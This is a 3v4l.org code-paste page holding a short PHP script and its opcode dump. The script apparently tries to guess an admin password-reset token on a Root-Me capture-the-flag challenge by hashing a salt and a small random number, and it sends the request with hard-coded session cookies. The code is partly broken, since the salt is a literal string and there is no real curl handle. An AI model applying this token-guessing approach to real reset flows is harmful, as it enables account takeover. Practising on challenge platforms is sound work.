3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ok = 1; //while($ok==1){ $salt = microtime(); $generated_token = MD5('$salt' . rand(1, 100)); $url = "http://challenge01.root-me.org//realiste/ch14/?p=forgot_dev&username=admin&token=".$generated_token; echo $url; $ch = 'curl'; // configuration de l'URL et d'autres options curl_setopt($ch, CURLOPT_URL, $url ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Connection: keep-alive', 'Accept-Encoding: gzip,deflate,sdch', 'Cookie: PHPSESSID=9povrv2ujga3a90gde97mnh086; spip_session=3959_88b7a314b6d320abc758d2aa6adc5321', 'Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4', 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36' )); $chaine=curl_exec($ch); echo $chaine; /*if (strpos($chaine,"Votre mot de passe est") !== false) { echo $chaine; $ok = 2; }*/ curl_close($ch); // fermeture de la session curl //} ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/iFb7d
function name:  (null)
number of ops:  44
compiled vars:  !0 = $ok, !1 = $salt, !2 = $generated_token, !3 = $url, !4 = $ch, !5 = $chaine
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 1
    4     1        INIT_FCALL                                               'microtime'
          2        DO_ICALL                                         $7      
          3        ASSIGN                                                   !1, $7
    5     4        INIT_FCALL                                               'md5'
          5        INIT_FCALL                                               'rand'
          6        SEND_VAL                                                 1
          7        SEND_VAL                                                 100
          8        DO_ICALL                                         $9      
          9        CONCAT                                           ~10     '%24salt', $9
         10        SEND_VAL                                                 ~10
         11        DO_ICALL                                         $11     
         12        ASSIGN                                                   !2, $11
    6    13        CONCAT                                           ~13     'http%3A%2F%2Fchallenge01.root-me.org%2F%2Frealiste%2Fch14%2F%3Fp%3Dforgot_dev%26username%3Dadmin%26token%3D', !2
         14        ASSIGN                                                   !3, ~13
    8    15        ECHO                                                     !3
    9    16        ASSIGN                                                   !4, 'curl'
   12    17        INIT_FCALL_BY_NAME                                       'curl_setopt'
         18        SEND_VAR_EX                                              !4
         19        FETCH_CONSTANT                                   ~16     'CURLOPT_URL'
         20        SEND_VAL_EX                                              ~16
         21        SEND_VAR_EX                                              !3
         22        DO_FCALL                                      0          
   13    23        INIT_FCALL_BY_NAME                                       'curl_setopt'
         24        SEND_VAR_EX                                              !4
         25        FETCH_CONSTANT                                   ~18     'CURLOPT_RETURNTRANSFER'
         26        SEND_VAL_EX                                              ~18
         27        SEND_VAL_EX                                              <true>
         28        DO_FCALL                                      0          
   14    29        INIT_FCALL_BY_NAME                                       'curl_setopt'
         30        SEND_VAR_EX                                              !4
         31        FETCH_CONSTANT                                   ~20     'CURLOPT_HTTPHEADER'
         32        SEND_VAL_EX                                              ~20
   15    33        SEND_VAL_EX                                              <array>
         34        DO_FCALL                                      0          
   23    35        INIT_FCALL_BY_NAME                                       'curl_exec'
         36        SEND_VAR_EX                                              !4
         37        DO_FCALL                                      0  $22     
         38        ASSIGN                                                   !5, $22
   24    39        ECHO                                                     !5
   31    40        INIT_FCALL_BY_NAME                                       'curl_close'
         41        SEND_VAR_EX                                              !4
         42        DO_FCALL                                      0          
   34    43      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
153.43 ms | 1400 KiB | 19 Q